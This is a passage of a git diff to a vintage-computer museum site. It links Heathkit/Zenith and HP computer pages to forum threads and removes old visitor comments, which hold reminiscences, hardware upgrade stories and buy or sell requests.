writing. It had to be booted up with a disk, and in those days, software did not have backups. One time I was saving a file, and it was too big for the disk, for the computer abandoned it! - - author: Sergey (Moscow, Russia) - date: Tuesday 20th March 2012 - text: |- - Wanted this computer. I will pay any postage costs! - - megabyte2003(at)list.ru - - author: Brian Gregory (UK) - date: Saturday 6th November 2010 - text: I was given one of these by one of my lecturers when I finished at university in 1983. Great fun. I modified it to so you it could switch to run at 4.096MHz (double speed). It had no soft sectored controller and Heath had stopped making them so I made myself one on veroboard, but using a more modern (but compatible) controller chip to make it easier to build. Later I added a RAM disk by, among other things, replacing all the old 16Kb RAM chips with 8 more modern 256Kb chips. I stopped using it once I got an Amstrad PC2286 and later sold it for £50. - - author: Alexander P. (USA) - date: Monday 12th September 2005 - text: for those who have heard of the Hero 1 robot, i believe this was one of the terminals you could use to program it, right? - - author: 1AJS (WINNIPEGF CANADA) - date: Tuesday 18th November 2003 - text: |- - I AM LOOKIG FOR 5 RAM CHIPS FOR THE 1978 VERION OF THIS COMPUTER\ - WITH OUT THESE CHIPS I CAN'T USE IT oc_id: 135 source: url: https://web.archive.org/web/20230331021329/http://www.old-computers.com/museum/computer.asp?c=135 diff --git a/content/museum/heathkit-zenith-z-100-110-120.md b/content/museum/heathkit-zenith-z-100-110-120.md index 96093b24..76ae27a5 100644 --- a/content/museum/heathkit-zenith-z-100-110-120.md +++ b/content/museum/heathkit-zenith-z-100-110-120.md @@ -64,6 +64,7 @@ params: - photos - adverts - links + forum_thread: 271 photos: - title: Z-110 subtitle: '' @@ -121,61 +122,6 @@ params: - title: Z-100 Life Line url: http://home.earthlink.net/~z100lifeline/ text: Great resource for Z-100 serie computers - comments: - - author: Big al (St. Joseph Michigan) - date: Friday 6th April 2012 - text: An awesome machine. The Desktop 4 contract with the US government really hurt HeathKit. We ended up selling these computers below cost. The H-100 (Z-100) was one of the best computer we made. Baboo Rajaram really knew what he was doing. To bad they canceled the 286 version. Had the wire-wrapped 286 test machine for years. - - author: John McLaughlin - date: Tuesday 15th October 2019 - text: My very first computer was an H100 with 256K RAM. I joke with students now that their watch has more current computing power. But for its day, it was a great machine. I wrote my PhD dissertation on it with Peachtext word processing software and a Toshiba dot matrix printer. - - author: greg greene (Canada) - date: Tuesday 23rd September 2014 - text: Best keyboard for writing ever made ! still have mine with 8 inch drives !!!! - - author: greg greene (Canada) - date: Tuesday 23rd September 2014 - text: Best keyboard for writing ever made ! still have mine with 8 inch drives !!!! - - author: Dale Wilson (Saint Louis, MO) - date: Sunday 14th September 2014 - text: |- - One of the best things about the Heath/Zenith computers was the technical documentation. Because they published schematics of their design I was able to get the tech sheets for the chips they used and use that to determine exactly how the graphics in the Z100 worked. - - Using that information I wrote Palette so I could take full advantage of their design which was far ahead of any other computer at the time. Although Zenith claimed 640 x 200, 8 color graphics, you could reprogram the chip to run 640 x 400 which worked just fine as long as your monitor could handle it. - - It was truly sad to see the IBM PC win the marketing war. - - author: dstephens (San Francisco, CA USA) - date: Thursday 27th October 2011 - text: |- - Started out with a Heathkit H100 remember all too well CPM and Z-DOS. I made the decision when building to not socket the chips and instead hard soldered to the board. Few years back I replaced electrolytic capacitors and resoldered every connection. Still have the system and it still boots up and runs fine. - - Software side getting IBM programs to run correctly was a challenge, that taught me I would rather work with hardware than be a programmer, it also gave a me a lot of respect for good programmers who can write "beautiful code" as an art form. - - Yes ran video in interlaced mode and managed to get RAM increased to 768K. There were plenty of hardware hacking projects for the S100 bus in Byte Magazine to keep the electronics technician in me happy. - - author: Renee Rieser (Juneau, AK) - date: Wednesday 14th September 2011 - text: |- - I was nuts about computers (well, Unix anyway, which is what I was using in college) and got engaged to my now husband over Thanksgiving in 1982. I had mentioned to my father that I''d almost rather have an H100 than a "real" wedding. Geez, BEFORE Christmas, an H100 was delivered to our apartment, along with dual 8" drives, a 300 baud modem, JT Turbo Pascal, ...I think we pretty much got the works of what was available both hardware and software. Of course it was a wee bit different than having a scaled down PDP in my living room, which is kind of what I had expected out of it. Soldering all the diodes and resistors onto the motherboard was interesting but more in a paint-by-numbers kind of way than using a breadboard. - - I didn''t know BASIC - but I learned. In fact, I learned a whole lot about PC hardware and software over the next few years, although what we had at school were PDPs and Vaxen (and a CDC 6500). - - Oh yeah, and I got married in the Tippecanoe courthouse in February 1983, with maybe 7 people in attendance. - - Somebody actually STOLE the H100, which I still used on occasion (CP/M) in the early 1990s, when our house got broken into. Heh. I''m sure they didn''t know what they were doing, but losing it that way makes me continue to kinda miss the old beast. - - author: Dan Paladini (Switzerland) - date: Sunday 15th August 2010 - text: |- - I bought my Z-100 low profile computer in 1983. It was years ahead of its time and was a brilliant computer to learn on. It wasn''t very IBM compatible, although a small percentage of programs for the IBM PC ran on the Z-100 out of the box. Most programs required a significant amount of trial and error "hacking" to run$ what better way to learn about microcomputers! I upgraded the 8088 processor to the hot NEC replacement core, raised the CPU to 7.5 MHZ via a daughterboard and did the wirewrap mod to use those new fangled 256Kbit memory chips to bring the memory up to 768K. Once I got the Video running in interlaced mode, I blew all my friends with IBM PC Color Cards away!\ - Most of my programming was in Turbo Pascal and, of course, BASIC. This little gem launched my career in computers and kept me happy for the next 7 years until IBM PC Clones finally caught up to its capabilities! - - author: Craig Carr (USA) - date: Monday 18th January 2010 - text: |- - This was one of my very first work computers in 1985. I started my carreer in the engineering department and this was used for our CAD system. We were running I think ACAD 2.1 or 2.5 on Z-dos.\ - Zdos was 80$ compatible with MS-DOS. We had huge color monitors on top of the systems. At least 25" displays and 16 colors. It was a great CAD system at the time. And I thought better graphics than the apple computers. I used to create lisp routines that ran within ACAD that would create custom batch that would do plotting as well as call up AutoCad again. Towards the end of the Z-100s, I had two of them in my office and I would start a command on one then swing around in my chair to work on another drawing on the computer behind me.. At this point I was too fast and kept both computers busy .. Fond memories - - author: Paul Gautreaux (Louisiana) - date: Monday 8th April 2002 - text: |- - My first computer was Zenith Data Systems Z-100 running at 4.77 Mhz with 128 kb on board, but I paid an extra $100 for another 64 kb...one bad machine. I bought it used...the guy could not figure out what to do with it. It had two 5.25" floppies and a built-in monitor. I came with about 50-bls of Z-DOS 1.0 manuals that were completely incomprehensable. I paid $2000 for it in 1981 and my wife still has not forgiven me. I had a modem that capped onto the phone with a connection rate of 300 bd. The only programs I had were those I wrote myself and I quickly found out I was not going to make my millions as a program developer...PASCAL still makes my skin crawl. I ended up getting a NORTHGATE 386 machine (backed another winner) and donated the Z-100 to our local library to be auctioned off. Some poor sucker ended up paying $300 for it in 1989. - - pmg oc_id: 261 source: url: https://web.archive.org/web/20230417024943/http://www.old-computers.com/museum/computer.asp?c=261 diff --git a/content/museum/hewlett-packard-hp-110.md b/content/museum/hewlett-packard-hp-110.md index 0559fe93..2dcee44a 100644 --- a/content/museum/hewlett-packard-hp-110.md +++ b/content/museum/hewlett-packard-hp-110.md @@ -80,6 +80,7 @@ params: - photos - adverts - hardware + forum_thread: 441 photos: - title: THE HP-110 IN USE subtitle: '' @@ -135,42 +136,6 @@ params: subtitle: '' text: On this upper board, we can find the interfaces, the power supply circuits, the keyboard and the screen circuits. image: /media/museum/hardware/hp110_mobo2.jpg - comments: - - author: Blahs Blase'' (USA) - date: Saturday 26th February 2011 - text: I bought the 110+ in 1985 with the disk drive and printer and the screen upgrade to 26 lines and one megabyte of RAM. I used it almost everyday for ten years to run my business on the road and it was a fantastic computer. A battery charge was good for 20 hours of work, much longer to just store data. It had MS Word 1A on a ROM chip and Lotus 1-2-3 and they both ran quickly with no problems at all. As I recall the retail price for everything was somewhere around Seven thousand dollars and it was worth it. I still have it but haven''t turned in on since 1994. - - author: Lohi Karhu (Germany) - date: Thursday 20th May 2021 - text: Rich WIlson (HP3478A Guru) mentioned the PPU in the 11ü, and couldn''t see the part number, but I''ll bet it was a Motorola 146805G2, or similar$ Myself and a friend built the very first evaluation system for this processor, in 1982/83, even beating Motorola to the market... it was one of the first generation of ultra-low power MCUs, ideal for that application, at that time. - - author: Denis Wicking (United Kingdom) - date: Tuesday 23rd May 2017 - text: Just found the complete collection - laptop, printer, disk base, manuals, bag when clearing out my dad''s gear. I will see if it works soon - - author: HL (Germany) - date: Wednesday 18th May 2016 - text: |- - Hi, can anyone send me a scan of the service manual of the original 110? My one does not boot at all, i thing the eprom contents is lost.\ - Thanks HL - - author: Christa Maas (Germany) - date: Friday 1st June 2012 - text: |- - I still have my HP 110 Portable Plus - and it is still working !\ - I bought it 1985 and it helped me in my business for more then 10 years - it was the best maschine that time - just\ - great !!!\ - My Question: How much money ($ or €) wouldl it bring, if I would sell my Portable Plus from 1984 today ?\ - It would be fantastic, if somebody would answer me.\ - Christa Maas - - author: David (Australia) - date: Sunday 22nd April 2007 - text: Hi, I don't know if anyone noticed but this laptop was used in the end of the Knight Rider episode "The Wrong Crowd". It was used near the end by Bonnie. - - author: Anna (Michigan) - date: Wednesday 19th November 2003 - text: I've got one fo these. I took it out of my basement the other day and plugged it in. I forgot how annoying the beeping gets. - - author: jason (dayton, oh) - date: Sunday 13rd July 2003 - text: so i just decided to post again to change my e-mail.. i stil have this thing if anyone wants to check it out.. later... - - author: oPC_iNC_Fu (dayton, ohio) - date: Wednesday 17th July 2002 - text: my buddy found one of these in the trash today, it is in working condition, but we can't get the lotus or memomaker to work(i didn't mess with it too much..., it has a couple manuals, the disk drive, a printer, and a carrying case with it, the cables to connect the drives... if anyone is interested in buying this or has any software or info, let me know... i never knew they even made stuff like this, let alone a website all about it... sweet, peace out homies.... oc_id: 445 source: url: https://web.archive.org/web/20230604181209/http://www.old-computers.com/museum/computer.asp?c=445 diff --git a/content/museum/hewlett-packard-hp-150.md b/content/museum/hewlett-packard-hp-150.md index 27acdec5..1a07d8c3 100644 --- a/content/museum/hewlett-packard-hp-150.md +++ b/content/museum/hewlett-packard-hp-150.md @@ -66,6 +66,7 @@ params: - hardware - software - links + forum_thread: 151 photos: - title: HP-150 subtitle: '' @@ -173,56 +174,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Some stuff here - comments: - - author: MirandaM (Spain) - date: Wednesday 13rd November 2019 - text: |- - Matt: the HP150-II was indeed commercialized. I have a complete set as well as the HP150 early two floppy version and the later HD version. Biggest difference is the bigger monitor which was tilteable\ - for better viewing angle. It also lacked the holes for the infrared system which was placed behind a black transparent rim. The keyboard was much better. It used to be my work station for a fair number of years back then. - - author: Roger (United States) - date: Tuesday 15th November 2016 - text: I programmed marketing software on the HP 150 while working in the HP Santa Clara Division marketing IC tester team. Those were the fun, good old, inventive days. - - author: David Magnusson (Iceland) - date: Thursday 7th July 2016 - text: |- - I have a mint condition HP-150 that I''m willing to sell.\ - Contact me at davidm91@outlook.com if you''re interested. I''m located in Iceland but I can provide pictures and videos. - - Best regards,\ - David\ - davidm91@outlook.com - - author: Kelly Roach (Harlingen, Texas, US) - date: Friday 3rd April 2015 - text: The only time I had seen one of these was at the ComputerLand in Tulsa. I was enthralled by the touchscreen concept, which was cutting-edge at the time (almost everybody, myself included, had computers without the feature, and my friends and I looked upon this machine with envy...) - - author: Seung Woo PAEK - date: Wednesday 17th April 2013 - text: |- - I collect old computers and would like to buy the HP-150. If someone wish to sell it please contact me.\ - neocollection@gmail.com - - author: Seung Woo PAEK (South Korea) - date: Wednesday 17th April 2013 - text: I collect old computers - - author: Seung Woo PAEK (South Korea) - date: Wednesday 17th April 2013 - text: I collect old computers - - author: Guillermo Perez (Mexico) - date: Tuesday 2nd October 2012 - text: |- - I have 2 HP 150. I would like to sell it, can you suggest me the best website or contact to do? - - thanks. - - author: Lorenzo (ITALY) - date: Wednesday 12th September 2012 - text: |- - I have an HP 150. I would like to sell it, can you suggest me the best website or contact to do? - - thanks. - - author: JS (nowhere) - date: Sunday 22nd July 2007 - text: Our hospital still runs some HP-150 hardware and some compatible hardware on a timeshare system (I forget what they are called, but they were made by HP as a successor to the 150 system and are fully compatible) - - author: Matt (Maryland) - date: Saturday 8th January 2005 - text: I have an HP 150 II which looks a lot like the picture of the 150, with a few differences. The biggest one is the monitor is not attached to the computer. The monitor of my 150 II also is larger and looks slightly different. The date built is 1992. My mom bought the computer from HP when she used to work there when they were upgrading, is it possible that my 150 II was something that HP only made for their own internal uses? If anyone has any more information, please email me a response. oc_id: 139 source: url: https://web.archive.org/web/20230130211549/http://www.old-computers.com/museum/computer.asp?c=139 diff --git a/content/museum/hewlett-packard-hp-200lx.md b/content/museum/hewlett-packard-hp-200lx.md index 074365b4..ff075213 100644 --- a/content/museum/hewlett-packard-hp-200lx.md +++ b/content/museum/hewlett-packard-hp-200lx.md @@ -61,6 +61,7 @@ params: tabs: - photos - links + forum_thread: 1058 photos: - title: LARGE VIEW subtitle: '' @@ -81,122 +82,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: HPtom (Germany) - date: Friday 25th February 2011 - text: |- - I still use the HP200LX for my business contacts and the calendar and task management. Also I use the windows version of calendar on my main PC in the office. Also I use many other programs for my daily work in the laboratory. The PIM software is the bst one I have ever seen and together with database engine of HP it is unbeatable! Also the calculator with solver is a big thing, beside LOTUS. - - The HP200LX is a marvellous machine and the best ever built PDA for professional use, although in these these days there are limitations. But the robustness of the machine and the reliability is so good! I still have 2 "backup HP200LX" in my wardrobe so I think to have this little real PC in the pocket forever :-)\ - recommendable websites for support is palmtoppaper.com and the hplx.net - - Greetings from Germany\ - HPtom - - author: Mark (Neverlands) - date: Sunday 28th February 2021 - text: I''m writing programs in Quickbasic for the 200LX, is there anyway I can probe if the serial port is on or off, like an address or register? I use shell "lxstat s $ info" as a workaround, but there must be something better. Grtzz Mark - - author: LX Lover (Japan) - date: Monday 27th April 2020 - text: |- - I have a HP200LX, and I download SSCL(star sapphire common lisp) last week. I install SSCL and EMACS, but EMACS reject key ''+'', ''\*'', ''$'' and so on. Do you know how to input such keys on EMACS ?\ - Please teach me how to setup EMACS. - - author: DK2020 (US / Europe) - date: Wednesday 18th March 2020 - text: |- - Hi, I recently purchased the HP 1000CX. (An HP 200LX without the built in software.) - - I''m curious if it''s possible to manually install those missing built in software? Is there a download link somewhere if there is? - - author: Jack Frost (New Zealand) - date: Sunday 17th April 2016 - text: I do testing and tagging of electrical appliances. I use the Lotus 123 program as my client and asset database. The macros also prompt me for my test results. A Zebra TLP2844 prints my tags, directly from the Lotus 123 automatically based on the test results. I also have a spare HP200LX but cannot find my spare interface cable at present. If you have any unwanted HP200LX and/or accessories you wish to donate, email me at j-frost@xtra.co.nz - - author: radek (Belgium) - date: Monday 2nd November 2015 - text: |- - Hi Renato Silva.\ - Can you contact met radek.orlowski@me.com - - author: renato silva (portugal) - date: Wednesday 3rd June 2015 - text: I have two working hp hewlett packard 200lx without the the adapter or manuals, just the pda to sell. - - author: renato silva (portugal) - date: Wednesday 3rd June 2015 - text: I have two working hp hewlett packard 200lx without the the adapter or manuals, just the pda to sell. - - author: Radek (Belgium, Antwerp) - date: Thursday 16th April 2015 - text: |- - Hello to all - - I am desperately searching one or more working HP Lx200 without the adapter or manuals, just the pda. Willing to pay via Paypal including shipment. Thanks to all. - - author: Radek (Belgium, Antwerp) - date: Thursday 16th April 2015 - text: |- - Hello to all - - I am desperately searching one or more working HP Lx200 without the adapter or manuals, just the pda. Willing to pay via Paypal including shipment. Thanks to all. - - author: Paul B Davis (Temple, NH USA) - date: Monday 17th November 2014 - text: |- - The 200LX 32Mb double speed from Thaddeus is the best $1000 I ever spent$ Hands Down, no contest. It is NOT a "PDA", rather it is the first "Netbook". A real computer with OS incorruptibly in ROM. I use camera flash memory in an adapter in the PCMCIA slot. The wonderful "Carousel" gives me 10 completely independently configured computers that can swap out in 1 second.\ - This thing still sits next to my Win7 PC because it is SO FAST to get the answer I need. HPCalc is Fabulous. Work-a-day, (non-enormous) databases quite useable. Skyglobe 3.6, Collins English and multi-language Dictionaries work faster than just opening up Chrome on Cable internet on my reasonably modern Lenovo.\ - Next to my 200LX sits my first pocket calculator - also still very useful - the HP-29C. The calculator keyboard cannot be beat with an emulator - but I would dearly appreciate a full 200LX emulation that would run on my PC! I''d pay real money for it even.\ - The weakness of the 200LX is that the hinge for the cover wears out after 20 years or so :-) So I leave it open. A brilliant, ridiculously under-marketed device - the last throws of the late great Corvallis division of HP. Nowadays, "HP is neither". :-( - - author: David (Spain) - date: Tuesday 3rd July 2012 - text: 'jo (DE): There was more recent machines like you ask for. For example Sharp Zaurus SL-C3000 line: Clamshell, full keyboard, Linux, color screen, etc, but they didn''''t reach great success in market.' - - author: Simon Inzel - date: Wednesday 18th April 2012 - text: |- - I have just found back to my HPLX200,and decided to start using it again instead of / in addition to my Iphone. Does anyone know if it still is possible to have backlight installed on the LX?\ - Simmon - - author: jo (DE) - date: Monday 12th March 2012 - text: Steven, I wouldn''t want to lure anyone away from this great device, but a modern and similarly capable device could be the Pandora handheld. Clamshell, full keyboard, Linux. Although its primary design goal was to be a retro game console, it''s in fact rather close to the LX200 in several respects and you should be able to find a powerful word processor for it as well. (Besides USB, SDHC, Wireless...) - - author: Steven L. (Italy) - date: Tuesday 11th October 2011 - text: |- - I use it mostly for text editing (translation of screenplays) combined with Word 5 (for DOS) and/or VDE text editor. Big text files 120K. I can still beat the hell out of any modern handheld device. Only the PSION 5MX came close (excellent but poorly constructed - flat cable woes). I''d be lost without my HP200LX... No bells, no whistles, no Internet, no phone calls... but when it comes to inputting text, this little DOS XT combined with a program like Word5 that allows for macros, literally beats the crap out of IPADS, Androids, Palms, old stylus PDAs and the rest. - - The other day I went to check out those marvelous and sexy Tablets. A nerdy young sales clerk came over with a smile, already extolling the Ipad 2 (which of course is wondrous). But I told him: "Look, I want to join modern humanity, but I also want to work fast and well. Can ANY of your marvel of cybernetic engineering do this?" Do any of your MAC / Android tablet programs have text editors with macros? See how fast I can translate this paragraph, how efficiently I $ the new and cancel the old... Do you have anything matching this (shameful, absurd, antiquated, hard-on-the-eyes) DOS XT power?" - - "Oh but if you turn it sideways it automatically goes sideways with you and while you type, you can watch Dr. House and download Lady Gaga and check the weather in London!" - - "Yes, but - damn it (- because I really would like to lay this superannuated thing to rest) - can you give me something I can walk around with, that fits in my pocket and has such amazing text editing capabilities? Can you give me something even HALF as fast?" - - The kid went away shaking his head, no doubt convinced that I was a lost cause, just a grumpy old fart stuck in the past. But if he had shown me a worthy product, I would''ve bought it on the spot. - - author: jhfire - date: Friday 5th August 2011 - text: I have an iPod, does all that and more. I believe there actually might be an app for that. All jokes set aside, really wonderful to step in the past. Thanks for making the site and please keep it alive! - - author: Skip (Toronto - Canada) - date: Thursday 14th May 2009 - text: I bought an HP200LX from Thaddeus Computing. They repair and recondition these old devices. I still need it to gather data via the infrared port from engine monitors like those sold by Insight Avionics. - - author: Peter (Sweden) - date: Thursday 14th May 2009 - text: Just found this website, amazing. I found a HP-200LX in my wardrobe! In the orignal box with user guide. And it´s still running. - - author: Ruben (Bombarral, Portugal) - date: Sunday 18th November 2007 - text: Were i can buy a HP-200LX??? - - author: Axel Haegeman (Overijse - Belgium) - date: Monday 1st January 2007 - text: |- - Hello,\ - I just bought a 200Lx on Ebay, but did not get the adapter kit HP F 1023, to connetct the PDA to my PC. Can anyone help me on this ? I want to hook it up to a PC to download data. - - author: Hoi Lam (San Jose, CA) - date: Sunday 11th June 2006 - text: |- - I have a HP200LX. The backup battery low was on for a while but I was too busy to go get a new battery to replace the old one. It went completely dead finally. When I connected the plam top with AC power, I noticed that the machine rebooted itself in DOS and all my data (address book) were gone!!! - - Does anyone know if there is a way I can recover the lost data from HPLX200? - - author: david masson (STL) - date: Saturday 21st January 2006 - text: I have a 100 LX, the rarest in the series, and I love it! Even for a computer from 1992 I still use it, A LOT!!! - - author: Bob Johnson (Toronto, Ont) - date: Friday 22nd July 2005 - text: Just bought one of these today at the Goodwill in Toronto for $1.99 with PS (Look the thing up on EBay!), and when I turned the damn thing on its in French! (I can't speak French so you can see my problem), but I'm fooling around with it and it looks like fun, just have to figure out how to put programs on it. - - author: Sylvain (France) - date: Thursday 30th June 2005 - text: The HP-200LX was actually released in 1994, about one year after the HP-100LX. Some parts were probably designed in 1992, hence the copyright. - - author: random replyer (USA) - date: Tuesday 28th June 2005 - text: My friend has one of these. We looked at the copywrite on the bottom and it said that it was actually made in 1992. related: - /museum/hewlett-packard-hp-65 oc_id: 1088 diff --git a/content/museum/hewlett-packard-hp-5036a.md b/content/museum/hewlett-packard-hp-5036a.md index c55771b1..7e72aaec 100644 --- a/content/museum/hewlett-packard-hp-5036a.md +++ b/content/museum/hewlett-packard-hp-5036a.md @@ -53,6 +53,7 @@ params: tabs: - photos - links + forum_thread: 1040 photos: - title: LARGE VIEW subtitle: '' diff --git a/content/museum/hewlett-packard-hp-65.md b/content/museum/hewlett-packard-hp-65.md index c826530d..f63bf7f6 100644 --- a/content/museum/hewlett-packard-hp-65.md +++ b/content/museum/hewlett-packard-hp-65.md @@ -52,21 +52,11 @@ params: value: $795 tabs: - links + forum_thread: 1093 links: - title: HP Museum url: http://www.hpmuseum.org/hp65.htm text: Detailed information about the HP-65 - comments: - - author: featherwinglove (Barrhead, Alberta, Canada) - date: Thursday 6th February 2014 - text: |- - Wow. I''ve actually seen one of these things, absolutely hated it and had no idea it was this old. I was a kid in Barrhead (not my current location) in the early 1990s and one of my math teachers had one. I''ll share what I can remember: - - \- It used reverse Polish notation (for sure)\ - \- It needed two AAA batteries (not so sure$ if I''m remembering this correctly, I might have encountered a later model that looked a lot like this one)\ - \- The display contained ten tiny seven-segment LED chips magnified by big plastic elliptical $s, making it easy to read as long as you were looking fairly close to straight down into it. - - I think the surname of the owner (one of my teachers) was either Kinnaird or Cantwell, but I can''t remember which one. They were on in years at the time, and I wouldn''t be surprised if they''ve passed on (or at least retired) since then. related: - /museum/hewlett-packard-hp-200lx oc_id: 1123 diff --git a/content/museum/hewlett-packard-hp-75c-75d.md b/content/museum/hewlett-packard-hp-75c-75d.md index 5426c20d..5a9f3fb5 100644 --- a/content/museum/hewlett-packard-hp-75c-75d.md +++ b/content/museum/hewlett-packard-hp-75c-75d.md @@ -65,6 +65,7 @@ params: tabs: - adverts - links + forum_thread: 626 adverts: - title: FIRST AD subtitle: '' @@ -77,13 +78,6 @@ params: - title: The Museum of HP calculators url: http://www.hpmuseum.org/hp75.htm text: This site has a nice and complete page about the HP-75C/D. You can even order the original manual. - comments: - - author: Otto (Brazil) - date: Monday 14th February 2011 - text: I has one (serial $ 78). There was 2 lines on screen. - - author: Rodolfo Gil (Venezuela) - date: Friday 11th March 2005 - text: Hi!. I´m found a HP75C in a trash can!. I´m want to bring it to life again. Do someboy have got an electronic version of its manual?. I will apreciate very much!. rodolfo.gil@uny.edu.ve / rufogil@hotmail.com oc_id: 640 source: url: https://web.archive.org/web/20230607231723/http://www.old-computers.com/museum/computer.asp?c=640 diff --git a/content/museum/hewlett-packard-hp-85.md b/content/museum/hewlett-packard-hp-85.md index d1605949..075ed0f5 100644 --- a/content/museum/hewlett-packard-hp-85.md +++ b/content/museum/hewlett-packard-hp-85.md @@ -71,6 +71,7 @@ params: - software - emulators - links + forum_thread: 357 photos: - title: TOP VIEW subtitle: '' @@ -248,56 +249,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Lots of further info and links on the Series 80 - comments: - - author: Jules Pitsker (USA) - date: Saturday 12th March 2011 - text: |- - I had a poster of one on my closet door. It featured the HP-85 in the foreground, superimposed on an outer space background. A comet-tail animation came from the rear of the machine, as if it was coming right at you.\ - There was also an image of the Capricornus zodiac symbol, for whatever reason.\ - The poster was given to me by a friend of the family, who happened to be a chemist for the Nabisco company, circa 1981. Even though I owned a C-64 from 1982-1986, my childhood perception was that the HP-85 must have been more of a ''real'' computer. - - author: Pdubu (Camano Island, WA) - date: Friday 18th June 2010 - text: First computer I ever used. My high school got four of them when HP put a small plant in our town. 20 students, 4 machines, 50 minutes, not a lot of time for debugging our BASIC snowmen and other simple programs since most all of us where hunt-and-peck keyboarders. Good little machines though. Simple, only one cord and no need for printer ink. And as small as it was, that little amber screen wasn''t difficult to read (then again I was using my younger eyes). - - author: RENALDO (Seattle, WA) - date: Friday 25th July 2003 - text: When I went to the Byte Shop in Seattle, WA in 1980 to buy a Compucolor 2 they were closing out on (Thank God I bought an Atari 800!). They had some HP-85's. I was really impressed by their capabilities and I drooled over buying one, I couldn't afford them at $5000 (Atari's went for $1200). While I was there a well dressed gentleman came in and inquired about computers for his business. He was shown the HP-85 and said he would take two of them. He pulled out his AE card and the salesman looked very pleased with his sale. - - author: wesmorgan1 (USA ) - date: Tuesday 30th August 2011 - text: I used the HP-85 back in the early 1980s at the University of Kentucky. The College of Engineering Library had 4-5 of these machines, and I found them fascinating. As a matter of fact, I just found my archive tape of HP-85 code. It''s a pity that I don''t have anything on which to read the tape...\*sigh\* - - author: Johnny Bjoern Rasmussen (Denmark) - date: Thursday 25th March 2010 - text: For info and manuals go to http://www.series80.org/ - - author: Chris Gegg (Charlotte NC) - date: Thursday 29th April 2004 - text: |- - If anyone has an HP85 they want to sell, or even just the manuals, I am interested. Heck, even if you could just scan the manuals and send as a PDF.\ - Maybe someone knows where I can see the manuals online.\ - Any help would be appreciated.\ - Thanks,\ - Chris\ - gegg@alumni.wfu.edu - - author: BRN (Somewhere in Cyberspace) - date: Saturday 7th February 2004 - text: How could anyone see anything very well on such a small monitor?! - - author: Franz Vida (Germany) - date: Friday 7th November 2003 - text: I can unsecure HP 85 basic programs without password. If someone is interested please let me know. - - author: joel (montpellier) - date: Monday 19th May 2003 - text: |- - hello, i have just fogotten to send my mail, in the last message !\ - bye - - author: joel (montpellier) - date: Monday 19th May 2003 - text: |- - i have just buy one of this computer. :-)\ - it is a very nice computer.\ - i like it !\ - is someone have some programms, for sell, or want to give it to someone, please send me a mail.\ - thanks, joel - - author: michael (ky) - date: Wednesday 12th March 2003 - text: I saw one at a indoor flea market for $20. Only one I've seen in person wish I had bought it now :( related: - /museum/hewlett-packard-hp-86 - /museum/hewlett-packard-hp-87 diff --git a/content/museum/hewlett-packard-hp-86.md b/content/museum/hewlett-packard-hp-86.md index 5b525eb2..af2a2b50 100644 --- a/content/museum/hewlett-packard-hp-86.md +++ b/content/museum/hewlett-packard-hp-86.md @@ -68,6 +68,7 @@ params: - photos - emulators - links + forum_thread: 152 photos: - title: HP-86B LARGE VIEW subtitle: '' diff --git a/content/museum/hewlett-packard-hp-87.md b/content/museum/hewlett-packard-hp-87.md index d6835a96..21665271 100644 --- a/content/museum/hewlett-packard-hp-87.md +++ b/content/museum/hewlett-packard-hp-87.md @@ -72,6 +72,7 @@ params: - photos - emulators - links + forum_thread: 903 photos: - title: KEYBOARD CLOSE-UP subtitle: '' @@ -108,10 +109,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Lots of further info and links on the Series 80 - comments: - - author: Ryan Schweitzer (United States) - date: Saturday 13rd July 2019 - text: The local public safety/911 dispatch center back in the ''80s in my town (Bismarck, ND) had an HP-87 at their dispatch console that was used to control the outdoor warning sirens (for tornado alerts and such) across town. It was loaded with a custom software package for such, IIRC. related: - /museum/hewlett-packard-hp-85 - /museum/hewlett-packard-hp-86 diff --git a/content/museum/hewlett-packard-hp-9810.md b/content/museum/hewlett-packard-hp-9810.md index 4a821c66..5d21fac5 100644 --- a/content/museum/hewlett-packard-hp-9810.md +++ b/content/museum/hewlett-packard-hp-9810.md @@ -56,6 +56,7 @@ params: - photos - adverts - links + forum_thread: 915 photos: - title: KEYBOARD subtitle: '' @@ -82,13 +83,6 @@ params: - title: My HP9810 repair job url: http://www.rheinfeld.de/andreas/9810.htm text: by Andreas Schumm - comments: - - author: bb - date: Saturday 5th March 2016 - text: Our school had one of those in 1979 (including a A4-flatbed-plotter), but everyone wanted to use the newer PET 2001 and CBM 3002 systems. so I had that machine pretty much for myself. - - author: Achim Alexandru (Romania) - date: Tuesday 4th November 2003 - text: I have in my lab one of the Hp 9845b i believe without monitors.If want to get picture of the machine tell me. related: - /museum/hewlett-packard-hp-9816 - /museum/hewlett-packard-hp-9825 diff --git a/content/museum/hewlett-packard-hp-9816.md b/content/museum/hewlett-packard-hp-9816.md index b9a7eff2..7af6e00a 100644 --- a/content/museum/hewlett-packard-hp-9816.md +++ b/content/museum/hewlett-packard-hp-9816.md @@ -66,6 +66,7 @@ params: - photos - adverts - links + forum_thread: 860 photos: - title: MAIN BOARD subtitle: '' diff --git a/content/museum/hewlett-packard-hp-9825.md b/content/museum/hewlett-packard-hp-9825.md index b8194e6b..039ac520 100644 --- a/content/museum/hewlett-packard-hp-9825.md +++ b/content/museum/hewlett-packard-hp-9825.md @@ -64,6 +64,7 @@ params: - photos - adverts - links + forum_thread: 907 photos: - title: TOP VIEW subtitle: '' @@ -97,36 +98,6 @@ params: - title: Joe Rigdon pages url: http://www.classiccmp.org/hp/9800.htm text: More information about HP 98xx series - comments: - - author: Victor Santiago (United States) - date: Wednesday 7th September 2022 - text: We had several 9825Bs used in test stations at a resistor manufacturer in Texas. These were used until the mid-1990s. In those 15 to 20 years they never failed to work. - - author: Chris Parent (United States) - date: Thursday 28th May 2020 - text: |- - my first engineering job was at AMBAC working on fuel injection pumps!\ - it took me three proposals to get my 9825 but then I used it to computerizing engine sell changing load factors and speeds well taking fuel measurements and plotting the results… Everyone loved it! it took me three proposals to get my 9825 but then I used it to computerize an engine cell changing load factors and speeds while taking full measurements and plotting the results… Everyone loved it\ - but it would shut off because of electromagnetic interference so I had to put it in a cage of wire and ground it...The salesman took that info back to HP - - author: Adrian Georgescu (Romania-Bucuresti) - date: Sunday 21st December 2014 - text: I worked on HP 9825 in 1980 for AGIE-CUT - - author: Adrian Georgescu (Romania-Bucuresti) - date: Sunday 21st December 2014 - text: I worked on HP 9825 in 1980 for AGIE-CUT - - author: Jan Pieter 